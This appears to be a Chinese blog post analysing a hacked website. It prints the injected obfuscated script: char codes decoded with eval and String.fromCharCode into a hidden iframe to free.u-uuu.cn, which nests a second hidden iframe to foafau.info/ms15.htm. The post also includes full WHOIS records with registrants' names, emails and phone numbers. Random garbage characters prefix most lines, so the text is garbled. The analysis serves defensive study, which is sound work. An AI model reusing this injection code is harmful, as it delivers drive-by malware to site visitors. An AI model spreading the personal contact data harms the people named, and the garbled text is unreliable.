首发在我的博客里面，
z5`AJrj% l =~EweuM http://www.areway.cn/?p=175 =REMSe j &{E 1w<uv y "6;O 0 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Z6C!-a DCr&%)Ll <script>t=’60,105,102,114,97,109,101,
"=<T8M 32,115,114,99,61,104,116,116,112,58,47,47,
LG3D3{H(. 102,114,101,101,46,117,45,117,117,117,46,99,
j=b?WNK 110,47,101,114,114,111,114,46,104,116,109,
8AL`<8$ 32,119,105,100,116,104,61,49,48,48,32,104,
MJ "ug8 N 101,105,103,104,116,61,48,62,60,47,105,102,
{2"8^; 114,97,109,101,62′;
mU@pRjq= t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
UW%zR5q 1;8=,& <script>t=’60,105,102,114,97,109,101,32,115,
D! TFb E 114,99,61,104,116,116,112,58,47,47,102,114,
ramYSX@ 101,101,46,117,45,117,117,117,46,99,110,47,
N?7MYP 101,114,114,111,114,46,104,116,109,32,119,
MYNNeO 105,100,116,104,61,49,48,48,32,104,101,105,
VwJ A 103,104,116,61,48,62,60,47,105,102,114,97,
DmzK* O{ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
&h^E_]P document.write(t);</script>
<&JK5$l<X j#4 Iu&YJ <html xmlns=”
5B6twn~[ http://www.w3.org/1999/xhtml \ %& BK.t “>
ybk~ m <head>
|Z6M?n <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
?RW7TWf <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
2tPW1"M.n <title>首页 - 爱生活家庭网
%-9?rOr n!Hj4~T0 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
O_=2{k ~s0 转换字符串后的大概内容是（谁点击后果自付）：
Z[9)
hGh <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
_yx~t Ub[SUeBGH 查询玉米u-uuu.cn的详细信息：
7\(m n$ Domain Name: u-uuu.cn
:c75*h` ROID: 20070901s10001s64972306-cn
: \hcl&W: Domain Status: ok
j'L/eps?S Registrant Organization: 王雷
]k+XL*]' A Registrant Name: 王雷
_{Z!$q6, Administrative Email:
czlovexs@126.com `Xs3^FJt Sponsoring Registrar: 北京万网志成科技有限公司
l$[7 pM[ Name Server:ns.yovole.com
lL8pIcQ W Name Server:ns1.yovole.com
rK` x< Registration Date: 2007-09-01 17:54
P ? ^h Expiration Date: 2008-09-01 17:54
QjT$.pU d 最后PING了一下地址 都没有什么….
f6/<lS oW BQW hTS7 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
yV"k:_O{ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
r_R( kns <script language=”javascript” src=”
J!{"^^* http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script GgT 5'e;N >
+lYo5\1= 这个玉米应该有可能是木马作者的：
'%Fg+cZN\ foafau.info的详细信息：
t+ 9[ki Access to INFO WHOIS information is provided to assist persons in
-d-vzr i determining the contents of a domain name registration record in the
I:|< };m m Afilias registry database. The data in this record is provided by
Fw{:fFZC[ Afilias Limited for informational purposes only, and Afilias does not
h@kq >no guarantee its accuracy. This service is intended only for query-based
/H (55^EMZ access. You agree that you will use this data only for lawful purposes
rgo#mTQ_ and that, under no circumstances will you use this data to: (a) allow,
yP<ngi^s= enable, or otherwise support the transmission by e-mail, telephone, or
ujin+;1 facsimile of mass unsolicited, commercial advertising or solicitations
z6'Cz}%EP' to entities other than the data recipient’s own existing customers; or
3#\++h]QZ (b) enable high volume, automated, electronic processes that send
s+m3&(X queries or data to the systems of Registry Operator, a Registrar, or
7{z\^R^O Afilias except as reasonably necessary to register domain names or
@n|Mr/PAj modify existing registrations. All rights reserved. Afilias reserves
*r)/ Vx`S the right to modify these terms at any time. By submitting this query,
UY5wef2sF you agree to abide by this policy.
8'sT zB] Domain ID:D22418703-LRMS
}H5~@c$ Domain Name:FOAFAU.INFO
7!qO*r Created On:20-Nov-2007 16:05:42 UTC
Aj {c s Last Updated On:20-Nov-2007 16:05:44 UTC
CJa`[;i0y Expiration Date:20-Nov-2008 16:05:42 UTC
pH9 xyN[:a Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
% _.kd" Status:CLIENT DELETE PROHIBITED
*;ehSg9 Status:CLIENT RENEW PROHIBITED
o}4~CN9} Status:CLIENT TRANSFER PROHIBITED
*VX"_C0Jy= Status:CLIENT UPDATE PROHIBITED
\=1$$EDS9 Status:TRANSFER PROHIBITED
?8U#,qq#` Registrant ID:GODA-040110615
s7d4)A % Registrant Name:liu hong
B3^F
$6= Registrant Organization:
?2(5 2?cJ Registrant Street1:beijing
!+Fr U'^ Registrant Street2:
@ 1w[~QlV Registrant Street3:
z@<OR$/`L Registrant City:beijing
?td`*n~, Registrant State/Province:
Vb @lK~ Registrant Postal Code:100000
G-6k[-@-v Registrant Country:CN
c1ga{c`Z Registrant Phone:+86.860108888777
G+~ f Registrant Phone Ext.:
+,Ud 3 iS Registrant FAX:
$./&GOus Registrant FAX Ext.:
A:$4cacu9 Registrant Email:bbbshiji@163.com
b)+;=o% Admin ID:GODA-240110615
w!%"b03q Admin Name:liu hong
P:#KBF;a Admin Organization:
:{LNr!I?I Admin Street1:beijing
\: BixBU7 Admin Street2:
!qu/m B Admin Street3:
u<['9U Admin City:beijing
" "@kBY1C Admin State/Province:
^j!2I &h1 Admin Postal Code:100000
B7QRG0 Admin Country:CN
A.9ZFFz Admin Phone:+86.860108888777
i7XM7 +} Admin Phone Ext.:
WR"?j 9y_q Admin FAX:
41v#|%\w Admin FAX Ext.:
M!wa } Admin Email:bbbshiji@163.com
a$=He Billing ID:GODA-340110615
Ro@ =oyLE Billing Name:liu hong
Lcz` Billing Organization:
V8hmfV~=]P Billing Street1:beijing
F$j? } Billing Street2:
OZR{+Y rB^ Billing Street3:
( 5 BZZ Billing City:beijing
^ 'ws/( Billing State/Province:
[xdi.6 % Billing Postal Code:100000
|}o6N5) Billing Country:CN
cx ~XG Billing Phone:+86.860108888777
8w$q4fg0 Billing Phone Ext.:
j4:Xel/ Billing FAX:
60R]Q Billing FAX Ext.:
/UqIkc Billing Email:bbbshiji@163.com
4 KX\'K Tech ID:GODA-140110615
4ai I&, Tech Name:liu hong
w{WEYS Tech Organization:
,hOi5,|?L Tech Street1:beijing
b%QcB[k[WB Tech Street2:
TCR|wi]
kW Tech Street3:
l3xI\{jn Tech City:beijing
P,rD{ 0~ Tech State/Province:
*.6m,QqJ( Tech Postal Code:100000
der\"?_. Tech Country:CN
y 2C Jk~ Tech Phone:+86.860108888777
K=Z .<f Tech Phone Ext.:
]]NTvr Tech FAX:
vD^Uod1 Tech FAX Ext.:
FEO /RMh Tech Email:bbbshiji@163.com
yN hRh>l Name Server:NS27.DOMAINCONTROL.COM
e -Z ul.m Name Server:NS28.DOMAINCONTROL.COM
mb>8=hMg Name Server:
f+lPQIB Name Server:
iN9G`qF3!Q Name Server:
\ZtKaEXnx Name Server:
af'gk&% Name Server:
w|1O-k` Name Server:
LC4W?']/ Name Server:
Bm5\*Xd1( Name Server:
fe Jl[3@tO Name Server:
!'#GdRst v Name Server:
TT oW>RP# Name Server:
%i.Prckrb fZp 3 g%u 接着下载每个文件里面的代码：
9>@Vk
vpY 一步一步看..
R2A#2{+H 
f~R+Q/Gtz` 
w! PguP 
'!F' B: 
6HZVBZhM 
W]5Hc|!^^ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
